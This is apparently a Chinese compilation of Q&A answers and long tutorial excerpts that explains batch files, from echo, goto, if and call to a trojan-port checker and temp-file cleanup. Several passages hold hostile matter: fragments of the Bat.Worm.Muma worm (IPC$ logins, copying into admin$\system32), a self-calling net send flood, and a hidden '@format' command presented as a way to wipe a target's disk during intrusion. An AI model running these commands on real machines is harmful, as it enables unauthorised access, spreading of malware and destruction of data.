Ⅰ 什麼是批處理文檔
批處理(BATCH)，也稱為批處理腳本，批處理文件後綴BAT就取的前三個字母。
批處理的構成沒有固定格式：每一行可視為一個命令，每個命令里可以含多條子命令，從第一行開始執行，直到最後一行結束，它運行的平台是DOS。批處理有一個很鮮明的特點：使用方便、靈活，功能強大，自動化程度高。
最普遍使用的批處理文件是AUTOEXEC．BAT文件，無論什麼時候啟動或重啟動系統，DOS都將自動執行它。此文件允許做如下事情：輸入當前日期、設置命令路徑與系統提示符及裝載程序，而不需分別鍵入每個命令。AUTOEXEC．BAT文件必須位於啟動DOS盤的根目錄下。
所有批處理文件必須以．BAT作為擴展名，不過當運行該文件時並不需要在命令行鍵入擴展名。要執行批處理文件，只需簡單地在系統提示符下鍵入其文件名即可，DOS將按順序執行批處理文件所包含的命令。
Ⅱ 批處理文件的概念及編寫,它與普通dos命令行的區別是什麼
批處理(Batch)，也稱為批處理腳本。顧名思義，批處理就是對某對象進行批量的處理。批處理文件的擴展名為bat 。目前比較常見 的批處理包含兩類：DOS批處理和PS批處理。PS批處理是基於強大的圖片編輯軟體Photoshop的，用來批量處理圖片的腳本；而DOS批處理則是基於DOS命令的，用來自動地批量地執行DOS命令以實現特定操作的腳本。
http://ke..com/view/80110.htm
批處理文件，或稱為批處理程序，是由一條條的DOS命令組成的普通文本文件，可以用記事本直接編輯或用DOS命令創建，也可以用DOS下的文本編輯器Edit.exe來編輯。在「命令提示」下鍵入批處理文件的名稱，或者雙擊該批處理文件，系統就會調用Cmd.exe運行該批處理程序。
批處理的編寫可以去中國DOS聯盟論壇去找常式，首先你要知道DOS命令，論壇地址.
http://www.cn-dos.net/forum/
Ⅲ 什麼叫做批處理文件
批處理文件是無格式的文本文件。在命令提示下鍵入批處理文件的名稱，或者雙擊該批處理文件，系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件（也被稱為批處理程序或腳本），可以簡化日常或重復性任務。 批處理的本質，是一堆DOS命令按一定順序排列而形成的集合。 批處理，也稱為批處理腳本，英文譯為BATCH，批處理文件後綴BAT就取的前三個字母。它的構成沒有固定格式，只要遵守以下這條就ok了：每一行可視為一個命令，每個命令里可以含多條子命令，從第一行開始執行，直到最後一行結束，它運行的平台是DOS。批處理有一個很鮮明的特點：使用方便、靈活，功能強大，自動化程度高。 它有什麼用呢？ 比如，在啟動wps軟體時，每次都必須執行 C:\>cd wps C:\WPS>spdos C:\WPS>py C:\WPS>wbx C:\WPS>wps 如果每次用WPS之前都這樣執行一次，您是不是覺得很麻煩呢？ 如果有一個方法，只需編寫一個批處理文件，就會自動執行剛才的所有命令，您想不想學呢？ 當您看完此節，自己編寫的第一個批處理文件順利執行時，您一定會大吃一驚的。 此外電腦每次啟動時都會尋找autoexec.bat這條批處理文件，從而可執行一些每次開機都要執行的命令，如設置路徑path、載入滑鼠驅動mouse、磁碟加速smartdrv等，可以使您的電腦真正自動化。 echo、@、call、pause、rem 是批處理文件最常用的幾個命令，我們就從他們開始學起。 echo 表示顯示此命令後的字元 echo off 表示在此語句後所有運行的命令都不顯示命令行本身 @ 與echo off相象，但它是加在其它命令行的最前面，表示運行時不顯示命令行本身。 call 調用另一條批處理文件（如果直接調用別的批處理文件 ，執行完那條文件後將無法執行當前文件後續命令） pause 運行此句會暫停，顯示Press any key to continue... 等待用戶按任意鍵後繼續 rem 表示此命令後的字元為解釋行，不執行，只是給自己今後查找用的 例：用edit編輯a.bat文件，輸入下列內容後存檔為c:\a.bat，執行該批處理文件後可實現：將根目錄中所有文件寫入 a.txt中，啟動UCDOS，進入WPS等功能。
Ⅳ 什麼是批處理文件(install.cmd)
從某種意義上說，批處理就是一種編程，其實批處理是一種宏，但是用途非常廣泛，可以實現一些用軟體才可以實現的簡單功能。
批處理（Batch）是一種簡化的腳本語言，它應用於DOS和Windows系統中，它是由DOS或者Windows系統內嵌的命令解釋器（通常是COMMAND.COM或者CMD.EXE）解釋運行。類似於Unix中的Shell腳本。批處理文件具有.bat或者.cmd的擴展名，其最簡單的例子，是逐行書寫在命令行中會用到的各種命令。更復雜的情況，需要使用if，for，goto等命令控製程序的運行過程，如同C，Basic等高級語言一樣。如果需要實現更復雜的應用，利用外部程序是必要的，這包括系統本身提供的外部命令和第三方提供的工具或者軟體。批處理程序雖然是在命令行環境中運行，但不僅僅能使用命令行軟體，任何32位的Windows程序都可以放在批處理文件中運行。
Ⅳ 什麼是批處理文件
批處理，也稱為批處理腳本，英文譯為BATCH，批處理文件後綴BAT就取的前三個字母。它的構成沒有固定格式，只要遵守以下這條就ok了：每一行可視為一個命令，每個命令里可以含多條子命令，從第一行開始執行，直到最後一行結束，它運行的平台是DOS。批處理有一個很鮮明的特點：使用方便、靈活，功能強大，自動化程度高。我不想讓自己寫的教程枯燥無味，因為牽纏到代碼（批處理的內容算是代碼吧？）的問題本來就是枯燥的，很少有人能面對滿屏幕的代碼而靜下心來。所以我會用很多簡單實用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力，感受它那古靈精怪的性格，不知不覺中愛上批處理（暈，怎麼又是愛？到底批處理和愛有什麼關系？答案：沒有！）。再說句「閑話」：要學好批處理，DOS基礎一定要牢！當然腦子靈活也是很重要的一方面。
例一、先給出一個最easy的批處理腳本讓大家和它混個臉熟，將下面的幾行命令保存為name.bat然後執行（以後文中只給出代碼，保存和執行方式類似）：
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit
是不是都能看的懂？是不是很easy？但它的作用卻是很實用的，執行這個批處理後，可以在你的當前盤建立一個名為a.txt的文件，它裡面記錄的信息可以幫助你迅速找到速度最快的QQ伺服器，從而遠離「從伺服器中轉」那一痛苦的過程。這里>的意思，是把前面命令得到的東西放到後面所給的地方，>>的作用，和>的相同，區別是把結果追加到前一行得出的結果的後面，具體的說是下一行，而前面一行命令得出的結果將保留，這樣可以使這個a.txt文件越來越大（想到如何搞破壞了？？）。By the way，這個批處理還可以和其他命令結合，搞成完全自動化判斷伺服器速度的東東，執行後直接顯示速度最快的伺服器IP，是不是很爽？後面還將詳細介紹。
例二、再給出一個已經過時的例子（a.bat）：
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat
為什麼說這是個過時的例子呢？很簡單，因為現在已經幾乎沒有人用帶廣告的QQ了（KAO，我的QQ還顯示好友三圍呢！！），所以它幾乎用不上了。但曾經它的作用是不可小窺的：刪除QQ的廣告，讓對話框乾乾凈凈。這里用的地址是QQ的默認安裝地址，默認批處理文件名為a.bat，你當然可以根據情況自行修改。在這個腳本中使用了if命令，使得它可以達到適時判斷和刪除廣告圖片的效果，你只需要不關閉命令執行後的DOS窗口，不按CTRL+C強行終止命令，它就一直監視是否有廣告圖片（QQ也再不斷查看自己的廣告是否被刪除）。當然這個腳本佔用你一點點內存，呵呵。
例三，使用批處理腳本查是否中冰河。腳本內容如下：
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
這里利用了netstat命令，檢查所有的網路埠狀態，只需要你清楚常見木馬所使用的埠，就能很easy的判斷出來是否被人種了冰河。然這不是確定的，因為冰河默認的埠7626，完全可以被人修改。這里介紹的只是方法和思路。這里介紹的是方法和思路稍做改動，就變成可以檢查其他木馬的腳本了，再改動一下，加進去參數和埠及信息列表文件後，就變成自動檢測所有木馬的腳本了。呵呵，是不是很過癮？腳本中還利用了組合命令&&和管道命令|，後面將詳細介紹。
例四，借批處理自動清除系統垃圾，腳本如下：
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
將以上腳本內容保存到autoexec.bat里，每次開機時就把系統垃圾給自動刪除了。這里需要注意兩點：一、DOS不支持長文件名，所以就出現了Tempor~1這個東東；二、可根據自己的實際情況進行改動，使其符合自己的要求。
怎麼樣，看到這里，你對批處理腳本是不是已經有點興趣了？是不是發現自己已經慢慢愛上了這個東東？別高興的太早，愛不是一件簡單的事，它也許能帶給你快樂和幸福，當然也能讓你痛苦的想去跳樓。如果你知道很難還敢繼續的話，I 服了 YOU！繼續努力吧，也許到最後你不一定得到真愛（真的有這可能，愛過的人都知道），但你可以體會到整個愛的過程，就是如此。 酸、苦和辣，有沒有甜天知道。
為什麼會把批處理和愛情扯上關系？不是我無聊，也不是因為這樣寫有趣多少，原因有二：其一，批處理和愛情有很多相同的地方，有些地方我用「專業」的行話解釋不清（我不懷疑自己的表達能力，而是事情本身就不好說清楚），說了=沒說，但用地球人都知道的愛情一比喻（愛情是什麼？我**怎麼知道！！），沒准你心裡一下就亮堂了，事半功倍，何樂而不為？其二，我這段時間狀態不是很好，感冒發燒頭疼鼻塞，但主要還是感情上精神摧殘，搞的人煩透了，借寫教程之際感慨幾句，大家就全當買狗皮膏葯了，完全可以省略不看（也許還真有點效果----不至於讓你看著看著就睡著了，把頭磕了來找我報銷醫葯費）。說不定下次的教程中大家還會看到楊過、張無忌等金老前輩筆下的英雄們。
看過第一章的朋友，一定對批處理有了初步的印象，知道它到底是用來干什麼的了。但你知道運用批處理的精髓在哪裡嗎？其實很簡單：思路要靈活！沒有做不到的，只有想不到的。這和愛情就有點不同了，因為愛情的世界是兩個人的世界，一廂情願不叫愛情（補充：那叫單戀。廢話！）而批處理卻是一個人的天堂，你可以為所欲為，沒有達不到的境界！
批處理看起來雜亂無章，但它的邏輯性之強，絕對不比其他程序語言（如匯編）低，如果你寫的腳本是一堆亂麻，雖然每一行命令都正確，但從頭執行到尾後，不一定得到你想要的結果，也許是一屏幕的Bad command or fail name。這又和愛情有了共同點：按步驟來經營，缺少或增多的步驟都可能導致不想看見的結果。陷入愛河的朋友，相信沒有不肯定這句話的。我的愛情批處理，輸出的結果不是Bad command or fail name，屏幕是這么顯示的：『你的愛情』不是內部或外部命令，也不是可運行的程序或批處理文件。然後就是游標不停閃動，等待這下一次錯誤的輸入。
從這一章開始，將由淺入深的介紹批處理中常用的命令，很多常見DOS命令在批處理腳本中有這廣泛的應用，它們是批處理腳本的BODY部分，但批處理比DOS更靈活多樣，更具備自動化。要學好批處理，DOS一定要有比較扎實的基礎。這里只講述一些比較少用（相對來說）的DOS命令，常用命令如COPY、DIR等就不做介紹了（這些看似簡單的命令實際復雜的很，我怕自己都說不清楚！）。
例五，先看一個實例。這是一個很有意思的腳本，一個小巧實用的好東東，把批處理「自動化」的特點體現的淋漓盡致。先介紹一下這個腳本的來歷：大家都知道匯編程序（MASM）的上機過程，先要對源代碼進行匯編、連接，然後再執行，而這中間有很多環節需要輸入很多東西，麻煩的很（只有經歷過的朋友才懂得）。如何使這個過程變的簡單呢？在我們搞匯編課程設計時，我「被逼」寫了這個腳本，用起來很爽，呵呵。看看腳本內容：
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
先不要被這一堆的東西給嚇怕了，靜下心來仔細的看（回想一下第一章中第一段是怎麼寫的！！）。已經給出了每一行命令的解釋，兩個冒號後面的內容為前一行內容解釋的E文（害怕E文的朋友也不用擔心，都很easy，一看就懂了，實在不懂了不會查詞典啊，這么懶？），在腳本執行時不顯示，也不起任何作用。倒數第5行行首有一個冒號，可不是筆誤哦！具體作用後面會詳細講到。此腳本中masm和link是匯編程序和連接程序，必須和edit程序以及你要編輯的源代碼（當然還有這個腳本，廢話！）一起在當前目錄中。使用這個批處理腳本，可以最大可能的減少手工輸入，整個過程中只需要按幾下回車鍵，即可實現從匯編源代碼到可執行exe文件的自動化轉換，並具備智能判斷功能：如果匯編時源代碼出現錯誤（匯編不成功），則自動暫停顯示錯誤信息，並在按任意鍵後自動進入編輯源代碼界面；如果源代碼匯編成功，則進行連接，並在連接後自動執行生成的exe文件。另外，由於批處理命令的簡單性和靈活性，這個腳本還具備良好的可改進性，簡單進行修改就可以符合不同朋友的上機習慣。正在學匯編的朋友，一定別忘了實習一下！
在這個腳本中出現了如下幾個命令：@、echo、::、pause、:和goto、%以及if。而這一章就將講述這幾個命令。
1、@
這個符號大家都不陌生，email的必備符號，它怎麼會跑到批處理中呢？呵呵，不是它的錯，批處理本來就離不開它，要不就不完美了。它的作用是讓執行窗口中不顯示它後面這一行的命令本身（多麼繞口的一句話！）。呵呵，通俗一點說，行首有了它的話，這一行的命令就不顯示了。在例五中，首行的@echo off中，@的作用就是讓腳本在執行時不顯示後面的echo off部分。這下懂了吧？還是不太懂？沒關系，看完echo命令簡介，自然就懂了。
2、echo
中文為「反饋」、「回顯」的意思。它其實是一個開關命令，就是說它只有兩種狀態：打開和關閉。於是就有了echo on和echo off兩個命令了。直接執行echo命令將顯示當前echo命令狀態（off或on）執行echo off將關閉回顯，它後面的所有命令都不顯示命令本身，只顯示執行後的結果，除非執行echo on命令。在例五中，首行的@命令和echo off命令聯合起來，達到了兩個目的：不顯示echo off命令本身，不顯示以後各行中的命令本身。的確是有點亂，但你要是練習一下的話，3分鍾包會，不會的退錢！
echo命令的另一種用法一：可以用它來顯示信息！如例五中倒數第二行，Default BAT file name is START.BAT將在腳本執行後的窗口中顯示，而echo命令本身不顯示（為什麼？？）。
echo命令的另一種用法二：可以直接編輯文本文件。例六：
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
以上腳本內容的編輯方法是，直接是命令行輸入，每行一回車。最後就會在當前目錄下生成一個a.bat的文件，直接執行就會得到結果。
3、::
這個命令的作用很簡單，它是注釋命令，在批處理腳本中和rem命令等效。它後面的內容在執行時不顯示，也不起任何作用，因為它只是注釋，只是增加了腳本的可讀性，和C語言中的/*…………*/類似。地球人都能看懂，就不多說了。
4、pause
中文為「暫停」的意思（看看你的workman上），我一直認為它是批處理中最簡單的一個命令，單純、實用。它的作用，是讓當前程序進程暫停一下，並顯示一行信息：請按任意鍵繼續. . .。在例五中這個命令運用了兩次，第一次的作用是讓使用者看清楚程序信息，第二個是顯示錯誤的匯編代碼信息（其實不是它想顯示，而是masm程序在顯示錯誤信息時被暫它停了，以便讓你看清楚你的源代碼錯在哪裡）。
5、:和goto
為什麼要把這兩個命令聯合起來介紹？因為它們是分不開的，無論少了哪個或多了哪個都會出錯。goto是個跳轉命令，:是一個標簽。當程序運行到goto時，將自動跳轉到:定義的部分去執行了（是不是分不開？）。例五中倒數第5行行首出現一個:，則程序在運行到goto時就自動跳轉到:標簽定義的部分執行，結果是顯示腳本usage（usage就是標簽名稱）。不難看出，goto命令就是根據這個冒號和標簽名稱來尋找它該跳轉的地方，它們是一一對應的關系。goto命令也經常和if命令結合使用。至於這兩個命令具體用法，參照例五。
goto命令的另一種用法一：提前結束程序。在程序中間使用goto命令跳轉到某一標簽，而這一標簽的內容卻定義為退出。如：
……
goto end
……
:end
這里:end在腳本最後一行！其實這個例子很弱智，後面講了if命令和組合命令你就知道了。
6、%
這個百分號嚴格來說是算不上命令的，它只是批處理中的參數而已（多個%一起使用的情況除外，以後還將詳細介紹），但千萬別以為它只是參數就小看了它（看看例五中有多少地方用到它？），少了它批處理的功能就減少了51%了。看看例七：
net use \\%1\ipc$ %3 /u:"%2"
11.BAT \\%1\admin$\system32 /y
13.BAT \\%1\admin$\system32 /y
ipc2.BAT \\%1\admin$\system32 /y
NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32\10.bat -r -h -s
以上代碼是Bat.Worm.Muma病毒中的一部分，%1代表的IP，2%代表的username，3%代表password。執行形式為：腳本文件名 參數一 參數二 ……。假設這個腳本被保存為a.bat，則執行形式如下：a IP username password。這里IP、username、password是三個參數，缺一不可（因為程序不能正確運行，並不是因為少了參數語法就不對）這樣在腳本執行過程中，腳本就自動用用你的三個參數依次（記住，是依次！也是一一對應的關系。）代換1%、2%和3%，這樣就達到了靈活運用的目的（試想，如果在腳本中直接把IP、username和password都定義死，那麼腳本的作用也就被固定了，但如果使用%的話，不同的參數可以達到不同的目的，是不是更靈活？）。
關於這個參數的使用，在後續章節中還將介紹。一定要非常熟練才行，這需要很多練習過程，需要下點狠工夫！
這一章就寫到這里了。可能有朋友問了：怎麼沒介紹if命令？呵呵，不是我忘了，而是它不容易說清楚，下一章再講了！這一章講的這點東西，如果你是初學者，恐怕也夠消化的了。記住一句話：DOS是批處理的BODY，任何一個DOS命令都可以被用在批處理腳本中去完成特定的功能。到這里，你是否已經想到了用自己肚子里的東西去寫點帶有自動化色彩的東東呢？很簡單，就是一個DOS命令的集合而已，相信自稱為天才的你已經會把計算機等級考試上機試題中的DOS部分用批處理來自動化完成了。
煩！就好象一個半老女人到了更年期，什麼事都想嘮叨幾句，什麼事都感到不舒服，看誰誰不爽。明知山有虎，偏向虎山行，最後留下一身傷痕無功而返時，才發現自己竟然如此脆弱，如此渺小，如此不堪一擊。徘徊在崩潰的邊緣，突然回想起了自己最後一次扁人的那一刻，還真有點懷念（其實我很不喜歡扁人，更不喜歡被人扁）。我需要發泄，我用手指拚命的敲打著鍵盤，在一陣接一陣有節奏的聲音中，屏幕上出現了上面的這些文字。可難道這就是發泄的另一種方式嗎？中國人還是厲害，早在幾千年前孔老夫子就說過「唯女子與小人，難養也」，真**有先見之明，佩服！雖然是在發泄，不過大家請放心，以我的脾氣，既然決定寫這篇教程，就一定會盡力去寫好，寫完美，絕對不給自己留下遺憾，要不這教程就不是我寫的！
曾經有一篇經典的批處理教程出現在你的屏幕上，你沒有保存，直到找不到它的鏈接你才後悔莫及，人世間最大的痛苦莫過於此。如果上天能給你一個再看一次的機會，你會對那篇教程說三個字：我愛你！如果非要給這份愛加上一個期限，你希望是100年。因為100年後，你恐怕早已經掛了！而現在，你的屏幕上出現了這篇你正在看的批處理教程，雖然不如你曾經看的那篇經典，但如果勉強還過的去。你會愛它嗎？時間會有50年那麼長嗎？答案是：試試看吧。
批處理腳本中最重要的幾個命令，將在這一章詳細介紹，但是很遺憾，有些細節到現在我都沒掌握的很好，甚至還有些生分。如同還不太懂得愛一樣。但我一直都在努力，即使一直都沒有收獲。所以可能講的會比較籠統，但我會告訴你方法，剩下的就是時間問題了，需要自己去磨練。讓我們共同努力吧。冰凍三尺非一日之寒，滴水穿石非一日之功。有些事情，比如學批處理，比如愛一個人，都是不能速成的，甚至還會有付出艱辛而收獲為甚微的情況。再次重申，看這篇教程的時候，一定要靜下心來，除非你已經掌握了這篇教程的所有東西----但那也就不必看了，浪費時間！
7、if
接上一章，接著講if命令。總的來說，if命令是一個表示判斷的命令，根據得出的每一個結果，它都可以對應一個相應的操作。關於它的三種用法，在這里分開講。
(1)、輸入判斷。還是用例五裡面的那幾句吧：
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
這里判斷輸入的參數情況，如果參數為空（無參數），則跳轉到usage；如果參數為/?或help時（大家一般看一個命令的幫助，是不是輸入的/?或help呢，這里這么做只是為了讓這個腳本看起來更像一個真正的程序），也跳轉到usage。這里還可以用否定形式來表示「不等於」，例如：if not "%1"=="" goto usage，則表示如果輸入參數不為空就跳轉到usage（實際中這樣做就沒意義了，這里介紹用法，管不了那麼多了，呵呵。）是不是很簡單？其實翻譯成中文體會一下就understand了。
(2)、存在判斷。再看例二里這句：
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
如果存在那些gif文件，就刪除這些文件。當然還有例四，都是一樣的道理。注意，這里的條件判斷是判斷存在的，當然也可以判斷不存在的，例如下面這句「如果不存在那些gif文件則退出腳本」：if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一個not來表示否定而已。
(3)、結果判斷。還是拿例五開刀（沒想到自己寫的腳本，竟然用處這么大，呵呵）：
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
先對源代碼進行匯編，如果失敗則暫停顯示錯誤信息，並在按任意鍵後自動進入編輯界面；否則用link程序連接生成的obj文件。這里只介紹一下和if命令有關的地方，&命令後面會講到。這種用法是先判斷前一個命令執行後的返回碼（也叫錯誤碼，DOS程序在運行完後都有返回碼），如果和定義的錯誤碼符合（這里定義的錯誤碼為1），則執行相應的操作（這里相應的操作為pause & edit %1.asm部分）。
另外，和其他兩種用法一樣，這種用法也可以表示否定。用否定的形式仍表達上面三句的意思，代碼變為：
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
看到本質了吧？其實只是把結果判斷後所執行的命令互換了一下，「if not errorlevel 1」和「if errorlevel 0」的效果是等效的，都表示上一句masm命令執行成功（因為它是錯誤判斷，而且返回碼為0，0就表示否定，就是說這個錯誤不存在，就是說masm執行成功）。這里是否加not，錯誤碼到底用0還是1，是值得考慮的兩個問題，一旦搭配不成功腳本就肯定出錯，所以一定要體會的很深刻才行。如何體會的深刻？練習！自己寫一個腳本，然後把有not和沒有not的情況，返回碼為0或1的情況分別寫進去執行（怎麼，嫌麻煩啊？排列組合算一下才四中情況你就嫌麻煩了？後面介紹管道命令和組合命令時還有更麻煩的呢！怕了？呵呵。），這樣從執行的結果中就能很清楚的看出這兩種情況的區別。
這種用errorlevel結果判斷的用法是if命令最難的用法，但也恰恰是最有用的用法，如果你不會用errorlevel來判斷返回碼，則要達到相同的效果，必須用else來表示「否則」的操作，是比較麻煩的。以上代碼必須變成：
masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
關於if命令的這三種用法就say到這里，理解很簡單，但應用時就不一定用的那麼得心應手，主要是熟練程度的問題。可能有的朋友有點驚訝，我怎麼沒給出類似下面三行的用法介紹，是因為下面三行是if命令幫助里對它自身用法的解釋，任何人只要一個「if /?」就能看到，我沒有必要在這里多費口舌；更重要的原因，是我覺得這樣介紹的不清楚，看的人不一定看的懂，所以我採用上面自己對if命令的理解來介紹。一定要注意的是，這三種用法的格式各不相同，而且也是不能改變的，但實際上可以互換（以為從本質上講，這三種用法都是建立在判斷的基礎上的，哲學教我們學會透過現象看事物本質！）。有興趣的朋友可以自己研究一下。
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call
學過匯編或C的朋友，肯定都知道call指令表示什麼意思了，在這里它的意思其實也是一樣的。在批處理腳本中，call命令用來從一個批處理腳本中調用另一個批處理腳本。看例八（默認的三個腳本文件名分別為start.bat、10.bat和ipc.bat）：
start.bat：
……
CALL 10.BAT 0
……
10.bat：
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt
ipc.bat：
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
有沒有看出什麼不對的地方？沒看出來啊？沒看出來就對了，其實就沒有不對的地方嘛，你怎麼看的出來！從上面兩個腳本，你可以得到如下信息：1、腳本調用可以靈活運用，循環運用、重復運用。2、腳本調用可以使用參數！關於第一點就不多說了，聰明的你一看就應該會，這里說一下第二點。
在start.bat中，10.bat後面跟了參數0，在執行時的效果，其實就是把10.bat里的參數%1用0代替。在start.bat中，ipc.bat後面跟了參數ipcfind.txt（一個文件，也可以做參數），執行時的效果，就是用ipc.bat中的每一行的三個變數（這里不懂沒關系，學過for命令後就懂了），對應代換ipc.bat中的%%i、%%j和%%k。這里參數調用是非常靈活的，使用時需要好好體會。在初學期間，可以先學習只調用腳本，至於連腳本的參數一起使用的情況，在後面的學習中自然就會有比較深刻的理解，這是因為當你已經可以靈活運用批處理腳本後，如何使代碼寫的更精簡更完美更高效就自然包括到了考慮的范圍，這時候你就會發現在調用腳本時直接加入參數，可以使代碼效率加倍。By the way，上面的這幾個腳本，都是Bat.Worm.Muma病毒的一部分，在後面的教程里，大家將有機會見到這個病毒的真面目。
那是不是說，在同一個目錄下至少存在兩個批處理腳本文件（只有一個你調用誰？）？呵呵，注意了，這句話錯了！！只有一個照樣可以調用----調用自身！看例九（默認腳本文件名a.bat）：
net send %1 This is a call example.
call a.bat
這兩句一結合，效果自然不怎麼樣，因為只有一台機器來發消息，誰怕誰啊？我給你來個禮尚往來！可如果有100台機器同時執行，而且每台機器開10和窗口同時向一個目標機器發消息的話，呵呵。這里call a.bat的作用就是調用自身，執行完前一句net send命令後再調用自身，達到了循環執行的目的。
給出一個很有意思的腳本，有興趣的朋友可以實驗一下。例十（默認腳本文件名為a.bat）：
call a.bat
一定要在DOS窗口下執行，否則只會看到一個窗口一閃而過，看不到最後結果。等執行完後，當腳本被執行了1260次，別忘了想一下到底是為什麼！愛情有時候跟這個腳本一樣，一旦陷入死循環，最後的結果都是意想不到的。只是愛情，絕對不會等到被毫無理由的循環這么多次，也許在第三次時就出現了love is aborted的提示。
9、find
這是一個搜索命令，用來在文件中搜索特定字元串，通常也作為條件判斷的鋪墊程序（我怎麼突然想起了這四個字？）。這個命令單獨使用的情況在批處理中是比較少見的，因為沒什麼實際意義。還是借例三來說明：
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
先用netstat命令檢查是否有冰河默認的埠7626在活動，並把結果保存到a.txt中。然後使用type命令列出a.txt中的內容，再在列出的內容中搜索字元串「7626」 ，發現有的話則提示中了冰河，否則退出。看，find命令其實就這么簡單，但有一點必須要注意到：如果不使用type命令列出a.txt中的內容，而是直接使用find命令在a.txt中找「7626」（find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"），就必須得給
Ⅵ 什麼是批處理文件有什麼作用
1, 批處理，也稱為批處理腳本，英文譯為BATCH，批處理文件後綴BAT就取的前三個字母。它的構成沒有固定格式，只要遵守以下這條就ok了：每一行可視為一個命令，每個命令里可以含多條子命令，從第一行開始執行，直到最後一行結束，它運行的平台是DOS。 bat是dos下的批處理文件 .cmd是nt內核命令行環境的另一種批處理文件 從更廣義的角度來看，unix的shell腳本以及其它操作系統甚至應用程序中由外殼進行解釋執行的文本，都具有與批處理文件十分相似的作用，而且同樣是由專用解釋器以行為單位解釋執行，這種文本形式更通用的稱謂是腳本語言。所以從某個程度分析，batch, unix shell, awk, basic, perl 等腳本語言都是一樣的，只不過應用的范圍和解釋的平台各有不同而已。甚至有些應用程序仍然沿用批處理這一稱呼，而其內容和擴展名與dos的批處理卻又完全不同。 2,作用：批處理文件是.bat文件，可以用文本編輯編輯、建立、修改、打開。把DOS命令一個接一個地輸進去，保存後，將該文件的後綴修改為.bat，雙擊此文件，即可執行該文件里的命令。其實它的作用是讓你不用一個接一個的輸入命令，一批一批地執行命令。 不知道我說的是不是不太清楚？
Ⅶ 什麼是批處理文件它有什麼功能
如果沒有一定的相關知識恐怕不容易看懂和理解批處理文件，也就更談不上自己動手編寫了
批處理文件是無格式的文本文件，它包含一條或多條命令。它的文件擴展名為 .bat 或 .cmd。在命令提示下鍵入批處理文件的名稱，或者雙擊該批處理文件，系統就會調用Cmd.exe按照該文件中各個命令出現的順序來逐個運行它們。使用批處理文件（也被稱為批處理程序或腳本），可以簡化日常或重復性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用，例如我們後面要提到的用批處理文件來給系統打補丁、批量植入後門程序等。下面就開始我們批處理學習之旅吧。
一.簡單批處理內部命令簡介
1.Echo 命令
打開回顯或關閉請求回顯功能，或顯示消息。如果沒有任何參數，echo 命令將顯示當前回顯設置。
語法
echo [{ on|off }] [message]
Sample：@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號（也稱為管道符號，一般用> >> ^）結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。
2.@ 命令
表示不顯示@後面的命令，在入侵過程中（例如使用批處理來格式化敵人的硬碟）自然不能讓對方看到你使用的命令啦。
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的，可喜的是微軟留了個autoset這個參數給我們，效果和/y是一樣的。)
3.Goto 命令
指定跳轉到標簽，找到標簽後，程序將處理從下一行開始的命令。
語法：goto label （label是參數，指定所要轉向的批處理程序中的行。）
Sample：
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms（如果這里的if、%1、%2你不明白的話，先跳過去，後面會有詳細的解釋。）
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起，但是最好是有意義的字母啦，字母前加個：用來表示這個字母是標簽，goto命令就是根據這個：來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。
4.Rem 命令
注釋命令，在C語言中相當與/*--------*/,它並不會被執行，只是起一個注釋的作用，便於別人閱讀和你自己日後修改。
Rem Message
Sample：@Rem Here is the description.
5.Pause 命令
運行 Pause 命令時，將顯示下面的消息：
Press any key to continue . . .
Sample：
@echo off
:begin
a:*.* d：\\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中，驅動器 A 中磁碟上的所有文件均復制到d:\\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時，pause 命令會使程序掛起，以便您更換磁碟，然後按任意鍵繼續處理。
6.Call 命令
